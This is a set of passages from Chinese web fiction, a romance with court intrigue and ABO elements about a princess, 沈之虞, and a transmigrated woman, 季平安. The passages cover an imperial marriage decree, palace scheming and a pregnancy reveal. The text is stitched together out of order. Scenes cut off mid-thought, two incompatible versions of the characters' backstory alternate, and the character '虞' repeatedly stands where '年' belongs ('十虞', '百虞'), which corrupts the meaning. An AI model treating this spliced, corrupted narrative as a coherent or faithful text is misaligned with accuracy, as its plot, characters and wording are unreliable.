沈之虞看她:“老戏精是什么意思?” 季平安和她解释道:“就是说他很会演戏。” 季平安:“他听到你要和我成亲,肯定是高兴的,但偏偏还要装自己是个疼爱女儿的好父亲,太会演了。” 沈之虞刚回到京城的时候,明里暗里地给明贞帝暗示过,京城中的皇子和皇女都不安分,在盯着他的位置。 明贞帝不可能坐以待毙,但打压一人,便相当于是扶持另一人。 以明贞帝喜爱猜忌的性格,他更倾向于选择一个能够相信、同时对皇位没有威胁的人。 遍观京城,最合适的便是沈之虞。 地位足够高,比起其他皇子皇女也不逊色。 而且是坤泽,还失着忆,对皇位没有威胁,可以说是最好用的“工具人”。 季平安:“你如今要娶一个平民女,不会有任何的助力,对皇帝更没有威胁了。” 季平安:“但是今日见到此事的宫人,往外传必然是你不懂事,坚决要娶一个平民女,损害皇家颜面,皇帝包容大度,自己的名声不会有任何的影响。” 沈之虞微微点头:“你说得对。” 皇帝今日急急忙忙地召她进宫,也不是真的担心她折损寿命,只是想要她选个合适的驸马。 至于什么是“合适”,那必然是要站在皇帝这边。 比如镇云侯府,再或者无权无势的寒门学子。 皇帝在召她进宫前,应该就有了心仪人选,叫她也不过是做做样子。 季平安出现是意外,但也很契合皇帝的心思,对方不可能拒绝。 所以当时在殿内,无论明贞帝是生气还是怀念故人,她都波澜无惊。 风轻轻地将马车帘子吹开些,能看到外面热闹的集市。 季平安手撑在下颔上,看着外面道:“今天过后,京城里面估计就会传开了。” 她拉长语调,模仿着市井中的人道:“七公主爱上了平民女,为此不惜殿前长跪,只为求得一纸婚书,给她名分……” 沈之虞睨她一眼:“话本看多了?” 季平安被她逗笑,道:“话本可没有这精彩。” 说完,她才问道:“不过殿下,当时真的说了非我不可?” 皇帝当时说出来这话的时候,季平安内心首先浮现的便是大大地三个字:不可能。 但转念一想,皇帝会演,她家殿下也会演。 这四个字出来,任谁听到,都会觉得对方用情至深。 沈之虞看了她一眼,语气平静地道:“只是应付皇帝而已。” 季平安:“我知道。” 如今想来,由郎中说出来似乎是最合适的。 季平安也想起来今天是什么日子:“接风宴?” 她们去见了一趟许子光,三日就已经过去,也到了皇帝说的接风宴的时间。 “嗯。”沈之虞道:“我不能去的太晚。” 她刚回到京城,还是暂时不让皇帝生疑比较好。 季平安对皇帝的讨厌程度又增加了几分,但也只能道:“那我先找好郎中,等你回来好好看看。” 虽然沈之虞说是风寒,但她的心也没有放下来,一直悬着,直觉提醒她还是要让郎中看过才好。 沈之虞:“好,午饭我应该会在宫中用,大概下午回来。” 接风宴,那宫里的人应该也都会来,不可能一两个时辰就结束。 季平安点头,叮嘱道:“你在宫里如果不舒服了,记得先顾着自己。” 沈之虞应下,和她简简单单地吃了顿早饭,便坐上了去宫里的马车。 她不干实事,负责夏苗的人也不会信服她。 但若狩猎真的出了问题,皇帝第一个问责的人就是她,锅全都是她来背。 沈之虞嗯了声:“有拿捏不准的事情,随时可以问我。” 朝中事务和人员复杂,季平安也没有接触过这方面的事情,她不是很放心。 “多谢殿下”,季平安笑了下道:“我明日先去猎场看看情况。” 事情虽然不好办,但有了沈之虞的话,她心里便有底气很多。 她不再纠结这个话题,拿起筷子开始吃饭。 只是刚吃了两口,她就没忍住,侧过身全吐了出来。 季平安有些担心,帮她拍着背问道:“不舒服?还是这道菜不合你的口味。” 沈之虞漱了漱口,才看向她,眼神里还带着些季平安看不懂的深意。 没等她问,沈之虞便道:“叫太医过来吧。” 季平安点头,立刻就把这件事交代给云棋。 没一会儿太医就过来了。 季平安在旁边,等人把完脉后才问道:“怎么样?” 太医回道:“陛下的脉象平稳,身体没有什么大碍,臣再给陛下开些安神的药。” 季平安:“但陛下刚才吐了,要不你再看看?” 听到这话,太医像是丝毫不意外,道:“陛下如今有孕,偶尔呕吐也是正常的,按时喝药可以缓解些。” 季平安感觉自己的脑子有些不灵活,又问了一遍:“有什么?” 太医俯身回答,语气冷静道:“有孕。” 季平安下意识看向沈之虞,然后视线下移。 她让对方怀崽了?! 第 112 章 第 112 章 沈之虞打量着她的神色,心微微沉了沉。 怀孕在她的意料之外,但她也从未考虑过,对方会不喜欢小孩这件事。 她看向太医道:“你先下去。” “是,陛下。” 太医拿着药箱准备离开,就被季平安拦住:“你先等等。” 太医还是个年轻人,平时待在太医院,也爱听些八卦,自然知道两个人的事情。 无论是沈之虞为人跪求圣旨赐婚,还是登基大典亲自将人带回来,她都格外清楚。 如今季平安开口后,她也不知道该听谁的,只能为难地站在原地。 季平安不知道她的想法,只问道:“陛下早上喝了些风寒的药,应该不会有什么问题吧?” 刚才听到太医的话,她确实很惊讶。 但季平安也不是傻子,反应了片刻就明白过来,孩子应该是之前那次永久标记有的。 把这件事理清楚后,她就想到自己让人喝的风寒药。 季平安有常识,知道怀小孩的人是不能随便喝药的。 太医闻言,也稍稍放下些心。 等人散的差不多后,许子光看向沈之虞,道:“他们还让我和恩人道个歉。” 沈之虞:“为何?” 许子光道:“当时修建长生殿的时候,我们听说是给七公主殿下修的,怨过,骂过……” 也是到了田庄后,他们才知道恩人就是当朝的七公主。 许子光:“不过我们现在也知道殿下是好人,才想着要好好道个歉。” 沈之虞听完后道:“与你们无关,不用放在心上。” 平民百姓不会知道权势的争斗,更不可能知道这是皇帝刻意引导的,也怪不到许子光她们身上。 “那就好!”许子光也总算能够松口气。 季平安接话问道:“苗苗呢?”皇宫。隔日,宫里便又派了人过来。 礼部将婚期定在了下个月,满打满算也只有二十天的准备时间。 不过繁琐的事情也用不到季平安她们操心,礼部都会安排妥当,她们只需要试试婚服便可以。 除此之外,皇帝还下了一道旨意,封季平安为驸马都尉、宣议郎并直指使,并赐一座驸马府。 一般驸马都会授官,但是授的官职大小并不固定,完全看皇帝的想法。 驸马都尉是虚官,但凡是驸马都会有这一层身份,用不着在意。 宣议郎是五品官,相当于是皇帝的侍从顾问,可以论议朝政得失,出入皇帝左右。 直指使和镇抚司均由皇帝直接设立,直指使负责监察,镇抚司负责执行,只是镇抚司掌管着诏狱,直指使的权利比起镇抚司要小很多。 季平安听完这些官职,道:“也就是说,宣议郎和直指使都是专门为皇帝办事的。” 沈之虞补充道:“没有实权。” 当将军手上就有兵权,当户部尚书就掌管着天下的赋税,这都是实实在在的权利。 但像宣议郎这种,皇帝重视就在朝中有地位,皇帝不重视就只是一个普普通通的五品虚官。 季平安感慨道:“皇帝在这件事情上,倒是不糊涂。” 沈之虞:“这段时间内,他应该会很重视你,让你做不少事情。” 季平安接着她的话道:“等到皇帝的地位稳固后,敲打完其他人后,再把给我的权利都收回去。” 这样完全不用担心,沈之虞和虞家趁着这个机会得到什么好处。 不过皇帝当时答应赐婚,也是抱着稳固帝位的心思,他办出这种事也在意料之中。 季平安唯一不理解的是:“不过皇帝,真的会相信我能把事办好?” 在皇帝的眼里,她应该只是一个普通的平民百姓,没有学识,没有势力,连大字都不认识几个。 再傻的人,也不能放心把事情交给她来办。 沈之虞道:“办好,办不好对皇帝都有好处。” 季平安问道:“如果我把事情办好,就能够给其他皇子皇女添堵,这个我能够想明白。” 这也是她们的目的,借皇帝的势力扫清障碍。 “但为什么办不好,也会对皇帝有好处?” 沈之虞看了她一眼,道:“驸马和公主向来都是一体的。” 若是沈之虞和季平安真的有感情,那季平安办不好的事情,她这个公主、甚至背后的虞家自然不能置身事外,会主动帮忙办好。 若是沈之虞和季平安没有感情,也不妨碍。 到时候季平安办砸的事情,也和公主府、虞家脱不开干系。 皇帝随随便便找个由头,就能够降罪,顺便削一削虞家的兵权。 季平安:“我在朝中得罪的人,也和皇帝无关,最终都会记恨到殿下和虞家这里。” “他看着我们和其他的人斗来斗去,最后自己坐收渔翁之利。” 不得不说,她们想利用皇帝的时候,对方也打得一手好算盘。 无论季平安做成什么样,对他都是好事。 沈之虞道:“是这样。” 至于最后鹿死谁手,就不一定了。 季平安:“这也是殿下当初,为什么不随便选人当驸马?” 这时候,她才意识到沈之虞的谋划和考虑有多深远。 见到明贞帝后,沈之虞便行了个大礼:“参见父皇,儿臣不孝,这些时日让父皇忧心了。” 按照长生殿的事情,她更觉得皇帝这些日应该是开心的,毕竟有了理所当然的挡箭牌。 但沈之虞向来理智,无论心里面如何千回百转,面上却还是乖巧女儿的模样,说出来的话也让人挑不出来半分错处。 明贞帝听到这话心里也舒畅,道:“小七快起来,你能够化险为夷,平安归来便好,定是有你母妃在天上保佑。” 提到沈之虞的母妃,明贞帝的脸上也带了些怀念的神情:“想当年你的母妃爱手抄佛经,见到被欺负的宫人便会出手帮忙,现在宫里却是再也找不到如你母妃这样善良的人了。” 沈之虞听到自己的母妃,心里却忽地跳了一下,牵扯出些疼痛来,忍不住蜷了下指尖。 虞柏也说过她母妃的事情。高尚的道德救不了命,也吃不饱饭。 岁岁听懂了,还说道:“不过如果是芸娘或者富贵姐姐需要帮忙,我们肯定要帮。” “没错。”季平安道。 一个人说的话,也能看出来这个人的性格。 因此季平安和岁岁说话的时候,她的视线始终没有离开过季平安。 不知道她对于季平安来说,是好人还是坏人。 等到葛根猪骨汤炖好之后,属于猪骨的香气也弥漫在了整个灶房里面。 猪骨是今天买回来的新鲜猪骨,几乎没有腥味,炖出来的汤鲜香浓郁,里面的葛根也炖的软烂,吃到嘴里还能尝出很浅淡的香甜。 热乎乎的炖汤,把今日的着急和忐忑都一一抚平,烦恼也暂时被抛到了脑后。 只是吃完饭后,要回各自的屋子里后,季平安却顿住了脚步。 沈之虞看她:“怎么了?” 季平安:“我只是想到一个问题。” 沈之虞:“什么问题?” 季平安:“我今天晚上睡在哪里?” 家里只有两间屋子能够睡觉,她一间,岁岁和沈之虞一间。 但现在她屋子里面的床上,正躺着昏迷的男人,完全没有她的容身之处啊! 沈之虞:“……人是你救回来的,你和他挤挤?” 季平安想都没有想,就拒绝了这个建议:“我不要。” 男的也是乾元,她用两三把椅子板凳搭个简易的床,把对方放上去也不是不行。 但她不是这个世界土生土长的人,肯定不可能和男人睡同一间屋子,那样她还不如在院子里坐一晚上呢。 想来想去,她看向沈之虞,目光格外真诚:“要不然,我们三个人今天晚上挤挤?” 沈之虞没有丝毫犹豫,道:“不行。” 季平安:“……” 拒绝的这么快,我不要面子的吗? “我们之前也不是没有挤过,我睡姿也很好的。”季平安继续为自己争取,“而且,你刚刚才喝了我的葛根猪骨汤。” 吃人嘴短,拿人手软。 沈之虞:“……” 她看向岁岁,将决定权交给岁岁,问道:“让你阿姐来吗?” 季平安看向岁岁,似不经意地提起来:“阿姐刚才做的猪骨汤是不是很好喝?” “好喝。”说完,岁岁也完全忘了自己刚才的想法,只道:“阿姐,你来吧,我们一起挤挤。” 季平安弯了下唇角:“好岁岁。” 刚才的猪骨汤没有白做。 两间屋子里面的床都差不多,睡两个人正好,三个人就会有些挤。 不过季平安完全不嫌弃,比和隔壁男人睡一张屋子要好上不知道多少倍。 她睡在靠墙的最里面,岁岁睡在中间,沈之虞睡在最外面。 吹灭灯之后,屋子里面也陷入黑暗和安静,外面已经有了蝉鸣的声音。 买回来的驱蚊包有一包被沈之虞挂在了床头,淡淡的药香很好闻。 季平安拨了下药包,然后没多久就睡了过去。 她的母妃进宫前,是将军府嫡女,地位高贵,和皇帝青梅竹马。 皇帝借助虞家的权势顺利登基,她的母妃也顺利封了妃位,在她十岁的时候再次怀孕,却遭遇难产去世。 沈之虞忍着对眼前人的反感,垂眸道:“父皇说的是。” 明贞帝道:“朕在信上看到说,你遇到意外后便失忆了,现在如何?” 说话的时候,明贞帝的面上也露出了几分关心的神色,倒是真的像关心女儿的父亲。 感觉到明贞帝的试探,沈之虞道:“多谢父皇关心,只是如今也记不得之前的事情,让父皇失望了。” 明贞帝问道:“那当时在祈安寺的事情,是不是也记不得了?” 沈之虞轻轻摇头:“记不得了。” 明贞帝看着她,道:“那日小七出事后,朕便下令大理寺彻查,也抓到了贼人,甚至看到了小七你的尸体。” “如今想来,那具尸体的身上只穿着小七的衣服,脸却被刮花了,是朕太过轻率了。” “前几日收到信,朕便已经让大理寺的人彻查了,必然要给小七一个交代。” “父皇言重。”沈之虞道。 说到这里,她也明白了明贞帝的意思。“用膳吧。” 季平安吩咐了一声,午膳陆陆续续的端上来。 沈之虞倚在罗汉床上,一副懒散的样子。 连季平安进来,她都一动不动的,那种蔑视的劲,看的人莫名心虚。 季平安眯了眯眼睛,往罗汉床边上走了两步,“夫人,我抱你?” 她就是看沈之虞那副漠视的模样,一时间想要上去逗逗对方。 沈之虞:“???”红枣补气血,山药补虚,她问过府医了,孕妇是可以吃的。 她梳理前身的记忆时发现,前身每次去沈之虞的院子里的时候,桌子上放的都有枣泥山药糕。 前身那个不要脸的,还捏起一块吃了。 早上到前院,季平安就问了,哪里的枣泥山药糕好吃,让人去买了。 由于要排队,她要到正院时,侍卫拿着糕点刚到,她就顺手带着糕点来了。 刚刚差点儿让那几个婢女弄到,吓了她一跳,点心碎掉可就没食欲了。 沈之虞看着她,微愣了一下,“我不爱吃甜的。” 然后拿起旁边的一块糕点,小小的咬了一口,等着季平安发脾气。 一个人本身的性格是掩盖不住的,能装的了一时,装不了一世,她倒要看看,季平安能装多久。 季平安情绪稳定,并不觉得这是一件多大的事情,喜欢就是喜欢,不喜欢就是不喜欢,就跟她想做律师的原因一样,黑是黑,白是白,律法会给每一个人公正。 就算沈之虞就是不吃她买的东西,那又能怎么样了呢? “不爱吃甜的啊?那我们吃饭。”季平安压低了声音,让她原本稍有磁性的声音,显得软软糯糯的。 话里面带着讨好的意味,再次刷新了旁边人的认知。 怀孕真的会改变一个人吗?可是怀孕的是她们家姑娘啊,在场的奴婢心里满是疑惑。 沈之虞刚查出有孕,季平安就变了一个模样似的,确实令人不敢相信。 “南灵,来扶我。” 早上是意外,沈之虞当然不想季平安碰自己,忙让南灵扶着自己到餐桌前面。 正房是很大的,到处是竹帘,隔开了私密的地方,如卧室,衣柜,还有梳妆台,放置美人塌的地方。 南秦的卧室比较小,只有十个平方左右,据说是风水上讲究,基本会把睡觉的地方,用屏风或者是帘子隔的小小的,用现代话来说,就是有安全感。 以前身的性格,院子里布置的很是素雅,确实不符合前身的性格。 因为前身有那么一点点小才,经常以读书人自居,门客多是有诗才的秀才举人。 举人尚且能做官,去一些偏远的地方做个小官,秀才当真是没什么用了。 门客中也有一些没什么实权的京官,有几个勋贵家不成器的姊娣。 身为一个王上,还是有野心争夺皇位的,身边竟是些只知风花雪月,没什么真本事的酒囊饭袋。 可能这些门客能写出几首不错的事,那些纨绔子弟可以获得家中祖母娘亲的疼爱,可这对争夺皇位是远远不够的。 哪像太女身边文臣武将,随便跺两脚,都能引起朝堂震动的。 太女之后,实力最强的两个皇女,是四皇子跟七皇子,前者的岳家是当朝宰相之一,后者的外祖家是八大国公之一。 前者门生遍天下,后者领兵十万。 比起来,前身的条件好的多,有八大国公之首的外祖,有身为太女的姐姐。 说句不好听的,就算她什么都不做,只要等着太女姐姐撑不住了,理所当然的继承姐姐留下的人脉资源就够了。 不争就是争,到后面,只要前身想,振臂一呼的事。 偏前身作死,惹的皇帝厌恶,娶了商户女,彻底断了前身的夺嫡路,后来再到找个由头,把她圈禁十虞。 当然了,所谓商户女是这个时代的偏见,季平安倒是觉得,像沈之虞这样的白富美,本身就是事业批女强人,日后成为历代第一个坤泽女帝的存在,八百个前身,都配不上一个沈之虞,那还是因为有一张好看的脸。 季平安背了那么多的案例法条,就说那些案例吧,要不是当下科技进步,单靠人力的话,是一点儿查不出来的。 豪门争夺财产,比电视剧都好看。 她呢,背法条累的时候,就会找一些电视剧或是小说看,偏爱历史权谋,正经的历史书,她看了不少。 她一直有一个,自己创作一本以古代为背景的悬疑探案小说,可惜还没实现,自己就穿越到古代了。 季平安学习了那么多虞,又早早的独立了,不管是逻辑上,还是个人性格,都比同龄人要成熟的多。 太早经历人情冷暖的人,总能更快的适应新环境。 早上梳理过后,她更清楚了自己现在的处境,明白自己不仅是内忧,还有外患。 还好有老国公给的亲卫队,有她们在,她才不至于寸步难行。 前身那个蠢货,好坏不分,自认为的那些心腹,都是些什么人啊。 给前身支招,谋夺沈之虞嫁妆的办法,就是那些门客出的。 那些门客让前身,不断迫害沈之虞,或是沈之虞身边的人,让对方为了保住自己跟身边的人,自愿的拿钱出来。 前身就是又想要钱,又想要脸。 也不想想,这跟直接抢有什么区别,脸早就丢完了。 怪不得沈之虞这么恨她,都是前身自找的。 沈之虞对季平安的态度不屑,毫不掩饰厌恶的表情。 沈之虞是娇宠长大的,来到南秦后,一直在受欺负,不止是欺负,甚至是虐待欺辱。 所以对于沈之虞的态度,她没有什么表示,反而变戏法似的,从袖中掏出一包点心。 “老李家的枣泥山药糕。” 她不能出门,不代表着王府里面的人不能出门。 他哪怕再蠢,现在也意识到了祈安寺的事情是有人故意设计的。 沈之虞顺着皇帝的话,道:“儿臣有一件事不知该不该和父皇说。” “有何不可。”明贞帝道,“小七大胆说便可,若是受了委屈,朕便为小七主持公道。” 沈之虞:“儿臣回京途中,遇到不少刺客,动作狠辣,似乎是冲着儿臣的命来的。” 既然明贞帝想要刀子,那她便大方地递过去。 果不其然,她的话音落下,明贞帝便大发雷霆,将手边的折子狠狠地扔到了地上。 “他们一个个地现在就憋不住了,这是当朕死的吗?” 因着沈之虞是坤泽,因此皇帝说起来也不再顾忌。 殿里的宫人全部跪在了地上,连呼吸声都不敢有。 明贞帝自然不是因为自己的女儿遭遇刺杀而生气,只是因为有人觊觎他身下的位置生气罢了。 沈之虞欣赏了会儿明贞帝脸上生气的表情后,才道:“父皇息怒,若是因为这件事气坏了身子,那便是儿臣不孝了。” 明贞帝听到她的话怒气也下去了些,“还是小七懂事,比你的皇兄和皇姐好多了。” 到底是经历过夺嫡的人,明贞帝又怎么会不知道这里面的弯弯绕绕。 必然是某个皇子或者皇女暗中策划的,也是时候敲打敲打了。 沈之虞道:“皇兄和皇姐的学识都在儿臣之上。” 哪怕她知道明贞帝说的是皇位的事情,但也刻意略过,将话题转到学识上。 明贞帝听到她这话,也没有放在心上,倒是笑着道:“小七不用谦虚。” 说完,明贞帝又提起来要办接风宴的事情。 往常的宴会,沈之虞都是能推便推,因此说完接风宴后,明贞帝又特地说道:“朕知道小七不喜宴会,但这次小七总不能拒绝吧?” 皇帝都这样说了,沈之虞也不可能再说一个不字:“父皇安排便好。” 两人又说了会儿话,沈之虞便离开了皇宫。 路上,她也远远地看到了传言中的长生殿。 高达十几层,单单是外表看起来便金碧辉煌,矗立在京城的中央。 沈之虞问跟在她身边的云琴:“可知长生殿为何建造?” 云琴待在京城里面,自然也知道其中的原委:“陛下前些日子让一位道士进了宫,道士说在风水合适的地方建造长生殿,便可以续龙脉,得永生。” “永生?”沈之虞琢磨着这两个字,想起来的却是许子光她们灰蒙蒙的眼睛。 许子光笑了下道:“在那边喂鸡鸭,干点轻松的活,她还说想和岁岁一起玩。” 不上工没有工钱,所以他们不管年龄是大是小,都会干活。 像许子光这种年轻有力气的,就选搬矿石或者盖房子,工钱也多。 身体没那么好的,就垦田或者帮忙喂鸡喂鸭。 季平安点头:“那改日我也把岁岁带过来,她也很喜欢苗苗。” 聊了会儿后,季平安又和沈之虞去见了找来的那些匠人,顺便把水泥的配方交给对方。 季平安道:“这个配方基本没有问题,不过若是有更好的想法,也可以和我说。” “做水泥的时候,温度一定要高,炼的时间要保证,不要太着急。” “还有南山上面挖出来的黑色木炭,李师傅可以烧着试试,效果好的话派人告诉我。” 季平安这下连身上的被子掉了都顾不上,想改变沈之虞这个危险的想法。 “我觉得她也没那么好吧,我比她有才有貌的……” 听到这里,沈之虞终于抬了头。 她的视线扫过眼前的人,道:“她是去年的探花。” 容貌先不做比较,“有才”这件事,还是需要怀疑怀疑的。 季平安被噎了一瞬:“……” 不过听到这句话,她心里的醋没有减少,反而更多了。 季平安直接往前,和人鼻尖抵着鼻尖,呼吸交缠。 她的声音里面还能听出来些委屈,“陛下,我才是你喜欢的人。” 结果呢,沈之虞在床上夸其他的乾元! 沈之虞将她推开,两人之间的距离拉开些:“这不是我说的,是你自己说的。” 季平安不解:“我什么时候说……” 话还没有说完,就见到身前的人从书页里面抽出来张熟悉的信纸。 她当时准备离开京城写的信。 第 113 章 第 113 章 当时把包裹交给小姨后,季平安本想是让对方交给沈之虞。 但被打晕再醒过来后,她也就忘了这件事。 没想到,再次见到这封信,会是在这种情况下。 沈之虞白皙的指尖落在信纸上,展开看着上面的内容。 【木匣子中的药,可以治疗好腺体,吃下后腺体应该都不会再紊乱和疼痛了。】 【不过若是有意外,也不要自己忍着。江书思人很好,看起来很正派,如果真的疼了,或许找她也是一个办法。】 【……】 在京城又逛了会儿,她们先把岁岁送回府,然后又驾马车去了城外的田庄。 路上走了一个时辰,到田庄后已经是下午,天气也没有那么热。 田庄的管事听说沈之虞来了后,连忙赶了过来。 沈之虞问她:“云棋送来的那些人在哪儿?”生命值涨了五点,这下也能够彻底确定,对方掉的生命值就是腺体导致的。 如今标记完成,再好好养养身体,生命值应该就能够慢慢涨上去。 季平安长舒一口气,不忘道:“岁岁如果之后身体不舒服了,记得也和我说。” 说完,还特地举了个反例道:“你阿九姐姐这次就瞒着我,不告诉我还耽误了看郎中,疼了好些天。” 小孩性子安静内敛,还格外懂事,就怕给她添麻烦,季平安也不是很放心。 岁岁仰头乖乖地回答道:“阿姐,我知道的。”季平安内心挺急的,三天内如果不能让沈之虞改变主意,那她的结局已经注定。 她甚至想过,三天后不能成功改变自己的命运,她要怎么做。 是自爆自己是穿越来的,根本不是前身,还是跟着沈之虞一起跑。 她没注意到,自己若有所思的样子被沈之虞看在眼里。 沈之虞内心冷暗骂一句“狗东西”,觉得她又在打什么坏主意。 “那就好。”季平安问小孩道:“要不要吃糖?”镇云侯进宫后没有多久,沈之虞还活着的消息传了出去。 多数人都是惊讶,毕竟长生殿里面的宫灯还点着呢。 但也有些人有其他的心思。一个猎户,听到公主和京城,竟然能格外淡定的和她继续分析情况。 季平安:“你不也是?”她悠悠道:“或许呢。” 史书上不爱江山爱美人,冲冠一怒为红颜的人也比比皆是。 沈弘星只能先把疑惑放到心里,继续问道:“母后,那我们接下来要做些什么吗?” 当时在沈之虞回京的时候,她们安排的刺客,面临的是两波对手,自然失手了。 不了解背后的对手,他们的损失惨重,也就没有继续派人。 如今对方就在京城,行动起来也更加束手束脚。 宁如仪轻轻摇摇头:“以静制动,这些天不要做任何事情。” 她和皇帝相处了这么些年,又怎么不可能明白皇帝的心思。 前些日子太过张扬,眼下也不能出头当靶子。 沈弘星:“母后,儿臣知道了。”清晨,人已经从熟睡状态脱离,季平安也到了浅睡状态。 正睡着,她感觉到有一道强烈的目光正盯着自己看。 她皱着眉头睁开眼睛,就见旁边有一个绝美的女人正用厌恶的眼神,盯着她看。 女?女鬼? 季平安一个激灵,猛地从床上坐起。 半响她才反应过来,自己身处的环境,她穿越了,睡在她旁边的人,是小说中的女主沈之虞,不是女鬼。 她先是松了一口气,随即又提起心来,刚刚沈之虞的眼神好吓人,像是要把她吃了一样。 “你早。” 季平安张了张嘴巴,艰难的说出了这一个字。 沈之虞惊讶的看着她,似没想到她会是这样的态度,还以为她又想到了什么折磨自己的方法。 “我为什么会在这里?”沈之虞说话的态度不算好。 两个刚成亲那会儿,沈之虞的态度尽管不冷不热的,但也不会像现在一样,针锋相对,语气里面满满的厌恶。 季平安的脑袋里出现两人成亲半虞间,前身是怎么对待沈之虞的,只觉得,要是她的话,恐怕会直接选择跟前身同归于尽。 既然不让她好过,那大家就一起死好了。 可前身这个恶毒女配,当真是恶毒到了极点,居然用沈之虞的家人,还有陪嫁过来的人威胁,以至于对方忍耐到了现在。 沈之虞的忍耐不是逆来顺受,只是没有把事情闹出王府。 毕竟闹出王府,以沈家的地位,皇帝总要表态的。 沈家是商人,但人家有矿,还是十八座大矿,富可敌国,家里别的没有,就是不缺钱。 富可敌国,还不属于任何国家,一旦争取过来,南秦还能缺钱吗? 也就是说,南秦惦记沈家的钱,又看不起沈家商人的地位,可把双标玩明白了。 前身娶了沈之虞,就等于娶了几座矿,沈家给对方的陪嫁,是沈家一座玉矿,一座银矿,还有一座铜矿,三座矿百虞的开采权。 等于说,百虞内,这三座矿百虞的收益,全都归沈之虞。 前身这个王上,尽管受封两地,税收也不是都给她的,比起沈之虞,那就是百万富翁跟亿万富翁的区别,啥也不是。 而且前身花钱大手大脚的,又养了一堆门客,两人成亲短短半虞,不知道动用了沈之虞多少嫁妆。 要知道,在古代,用妻子的嫁妆是要遭人唾弃的。 所以前身凭什么啊?居然这么对待自己的金主。 想着前身跟沈之虞之前发生的事情,季平安竟然开始走神了。 沈之虞一眼看出面前的人在走神,她的手缓缓的移动到自己的小腿,那里藏着一把匕首。 从她迷迷糊糊的醒来,发现季平安这个狗东西在身边躺着,到现在不到一刻钟的时间,她摸匕首的次数不下十次。 可见沈之虞有多想弄死季平安了。 说完,沈弘星准备告退,只是转过身后,李帆却还顿在原地,一动不动。 沈弘星开口:“你……”府医帮沈之虞检查完身体后就带着婢女去开药房了。 房间里面就剩下了季平安跟沈之虞两个人。 季平安倚在床边,仔细观察着躺在床上的沈之虞。 记忆中,前身第一次见到对方时,对方的肤色是身健康的状态,哪像现在,弱不禁风,脸色苍白,唇上一点儿血色都没有,俨然一个病美人。 这种破碎感,激起了她内心的保护欲。 前身是怎么忍心,这么对待这样一个破碎美人的。 沈之虞身上的出尘气质,再加上如今的破碎感,惹的季平安生怜爱。 只是她一想到,黑化后的女主有多狠,她马上清醒了过来。 怎么能被美色迷惑,当下还是得先捋顺自己的处境才行。 季平安轻咳一声,目光从沈之虞的脸上收回。 她这才认真打量着自己的房间,第一次感叹古代人会享受。 房间里的床,如同一个房中房一般,踏上床的木板,要过三道小门,才能到真正的床前面。 床本身挺大的,目测长宽都过了两米,足以容纳两人。 尽管季平安不想被沈之虞踹下床,但木板就是木板,大冬天的,肯定还是睡床舒服,她可没有委屈自己的习惯。 所以她决定睡到床上去,寒冷的天气,又是深夜,谁能抵挡的住被窝的诱惑。 而沈之虞睡在外侧,她只得从床尾往里面爬,然后躺在了最里面。 由于床够大,两人的距离就远了些,中间还能躺下两个人。 婢女进来,看见两人躺在一起,忙拉上了床帘,然后退了出去。 季平安听到动静,闭上眼睛没有理会。 距离女主离开王府还剩下三天,这些天,她决定跟沈之虞同吃同住, 为了防止女主离开王府,她在心里下定决心做一个无赖。 吃饭睡觉都陪着女主,反正她这段时间被禁足了,那就赖在沈之虞身边,睡也要睡在一起,绝不能让人从王府离开。 她可不想自己一个疏忽,就让女主离开了,然后自己步前身后尘,被南秦皇帝下令圈禁。 她不仅要黏着沈之虞,还要改变对方对自己的看法,这件事任重而道远啊。 除了女主,她要面对的还有夺嫡的危险。 还好她离开了风暴中心,毕竟娶了女主,不出意外的话,她是与皇位无缘了,这能一定程度的保护她。 前些日子,前身口出狂言,皇帝禁足她一个月,这一个月,她能获得暂时的安稳。 毕竟她跟当今太女是同胞姐妹,虽然太女身体不好,随时都有可能去世,但是她的身份,可以利用的地方太多了,之前她又得罪了不少人,想必那些人不会放过她。 正是因为太女身体不好,夺嫡越发的激烈,皇帝十几个皇女,有一大半都参与了进去。 成王败寇,失败者必定不得善终。 季平安是第一个被淘汰的,可她有一个身为太女的亲姐姐,就注定她不会远离风暴。 禁足的这一个月,刚好能给她喘息的机会,也能让她好好的跟女主相处一番。 希望她可以阻止女主离开,能改变自己恶毒女配的命运吧。 可能是夜深了,房间里足够的暖,加上从穿越过来,她的精神就紧绷着,没多久,季平安就进入了梦乡。 她甚至没去想,万一沈之虞半夜醒来,不止是把她踹下床,而是很有可能杀了她的。 要知道,沈之虞恨惨了季平安,面对长时间折磨自己的人,是很难保持理智的。 熟睡的季平安,可想不到这些。 她是现代人,哪见过杀人这些东西,平时在宿舍也是几个女生共住一个房间的,心里目前还没有abo的概念。 在她的心里,她跟沈之虞睡在一起,和在宿舍里面,和舍友们一起睡没什么区别。 因此,她睡的恨安心,跟平时一样,一觉到天亮的那种。 刚说了一个字,宁如仪便懒懒地打断他:“本宫和李卿有事要说,星儿若是有事可先行离开。” 宁如仪和李帆有旧交,沈弘星也是知道的,因此并没有放在心上,简单行了礼后便先和其他人出了宫。 等到殿中只有她们两人后,李帆才出声道:“娘娘。” 宁如仪嗯了声,道:“你这些天盯着点星儿,让他别冲动。” 她了解沈弘星的性格,最是容易冲动,被人一激就爱掉进陷阱里面。 “我懂得。”李帆道。 宁如仪轻轻揉着额头,眸眼微闭:“那就好。” 李帆注意到她的动作,动了动垂在身侧的手,犹豫片刻后才问道:“娘娘身体不舒服?” 宁如仪嗯了声:“雨露期。” 她虽然是皇后,但皇帝也只有月中月末来一趟,留宿的次数更少,平日都在新宠幸的妃子那里。 宁如仪对这个倒是不在意,无论如何中宫权力都在她手上,皇帝不来倒是好事,她也不用费心思敷衍。 就是雨露期的时候,还是要吃抑制丸,晚上都睡不好觉。 李帆看着她,用古板无波的语调问道:“我帮娘娘按按?” “过来。”宁如仪没有拒绝,她感受着对方力度合适的按摩,身体的疲倦都少了些。 她道:“你的手艺还是一如既往的好。” 宁如仪从小到大便是被当做皇后培养的,无论是琴棋书画还是女红谋略都要学,每每结束一天的功课都会头晕脑胀。 李帆心疼,但也不能阻止丞相安排的功课,只能尽自己可能让宁如仪舒服些。 两人不约而同地想起往事,李帆垂了下眸,看着眼前人精致的眸眼,轻声道:“娘娘若是往后不舒服,也可召我进宫。” “好。”宁如仪浅浅地弯了下唇角,问她道:“今晚留下?” 李帆蜷了下指尖,应了声是。 她提前知道了剧情,自然不会有太多惊讶。 沈之虞却不同,明明没有任何的记忆,醒过来后接触到的也是村里人。 但听到男人叫她七公主后,没有出现过任何惊讶的情绪,甚至当时手上端着的水都稳稳当当,连晃动都没有。 沈之虞:“我没有记忆,他说什么我都不知道真假,自然不会。” 她哪怕内心相信男人的话,也不可能现在就告诉季平安肯定的答案。 季平安笑了下,“那只能回去问问他了。” 